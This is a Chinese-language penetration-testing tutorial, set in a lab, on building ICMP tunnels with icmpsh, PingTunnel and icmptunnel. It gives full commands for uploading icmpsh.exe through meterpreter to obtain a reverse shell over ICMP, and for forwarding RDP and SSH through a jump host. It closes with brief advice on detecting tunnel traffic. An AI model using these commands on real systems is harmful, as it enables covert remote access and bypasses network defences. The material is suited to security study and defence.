@
简介
ICMP隧道简单实用,是一个比较特殊的协议.在一般的通信里,两台主机要进行通信必须开放端口.而ICMP协议就不需要.
最常见的ICMP协议就是ping命令的回复
常见的ICMP隧道工具有icmpsh,PingTunnel,icmptunnel,powershell icmp等
ICMP隧道搭建条件: 目标主机必须支持ICMP协议的进出
探测ICMP协议是否支持: 目标主机与攻击主机能够相互PING通即可
icmpsh
icmpsh工具使用简单,便于携带,运行时不需要管理员权限
利用icmpsh搭建隧道:
- 下载icmpsh
git clone https://github.com/inquisb/icmpsh.git
- 安装python-impacket库
apt-get install python-impacket
或
pip install impacket
- 关闭原来系统的ICMP应答
因为icmpsh要代替系统本身的ping命令应答程序,所以输入以下命令关闭本地系统的ICMP应答
(如要恢复应答,设置为0)
sysctl -w net.ipv4.icmp_echo_ignore_all=1
- 运行run.sh
./run.sh # 会提示输入目标主机的IP地址 ,输入目标主机IP地址回车即可
或(上面的可能会出错)
./icmpsh_m.py 攻击机IP 受害机IP
- 把icmpsh.exe上传到目标主机
meterpreter下:
upload /root/桌面/icmpsh/icmpsh.exe c:\icmpsh.exe
(上传可能需要一定权限,可以不加路径,会上传到桌面 / 或者上传到其他有权限的地方)
upload /root/桌面/icmpsh/icmpsh.exe
- 目标主机上运行icmpsh.exe程序
shell里面运行
icmpsh.exe -t 本地IP -d 500 -b 30 -s 128
搭建成功会返回一个shell
PingTunnel
PingTunnel可以跨平台使用.为了避免隧道被滥用,可以为隧道设置密码
(windows下要在内网Windows机器上安装wincap类库)
实验一
通过跳板机访问web服务
环境准备:
web服务器上开启web服务
python -m SimpleHTTPServer 8000
(python2)
隧道搭建:
- 分别在kali和跳板机上安装PingTunnel(root权限下)
#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison
#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install
#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
其他可能的依赖安装
yum -y install gcc gcc-c++ kernel-devel //安装gcc、c++编译器以及内核文件
- 在跳板机上操作
ptunnel -x 123456 #-x 指定连接密码
- kali上操作
ptunnel -p 192.168.88.129 -lp 1080 -da 192.168.130.131 -dp 3389 -x 123456
-p 指定ICMP隧道另一端的IP
-lp:指定本地监听的端口
-da:指定要转发的目标机器的IP
-dp:指定要转发的目标机器的端口
-x:指定连接密码
至此隧道搭建完成
访问本机1080端口(127.0.0.1:1080)
实验二
通过跳板机远程连接win7
隧道搭建同上
ptunnel -x 123456 # 跳板机
ptunnel -p 192.168.88.129 -lp 1080 -da 192.168.130.130 -dp 3389 -x 123456 # kali
使用远程连接工具krdc连接 127.0.0.1:1080
Icmptunnel
攻击机: Kali IP 192.168.88.128
靶机: Centos 7 IP 192.168.88.131
适用场景:目标机器是Linux服务器的情况
- icmptunnel的安装
分别在服务端和客户端安装 icmptunnel,安装过程如下
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel/
make
- 服务端的操作(攻击机器):
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #禁用icmp回复
./icmptunnel -s #监听
重新打开一个命令行窗口
ifconfig tun0 10.0.0.1 netmask 255.255.255.0 #添加tun0网卡,分配隧道地址10.0.0.1/24
- 客户端操作(对方机器):
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #禁用icmp回复
./icmptunnel 192.168.88.128 #连接服务端
重新打开一个命令行窗口
ifconfig tun0 10.0.0.2 netmask 255.255.255.0 #添加tun0网卡,分配隧道地址10.0.0.2/24
至此,ICMP隧道搭建完成
- 隧道IP
- kali: 10.0.0.1
- Centos: 10.0.0.2
通过SSH连接Centos:
防御ICMP隧道攻击
分析ICMP数据包,检测恶意流量.具体方法如下:
- 检测来自同一来源的ICMP数据包. 数量过多即不正常
- 注意Payload大于64bit的数据包
- 寻找相应数据包种的payload与请求数据包payload不一致的ICMP数据包
- 检测ICMP数据包的协议标签,如:icmptunnel会在所有ICMP Payload前面添加"TUNL"来比哦及隧道
参考
https://blog.csdn.net/qq_36119192/article/details/100046761
内网安全攻防:渗透测试实战指南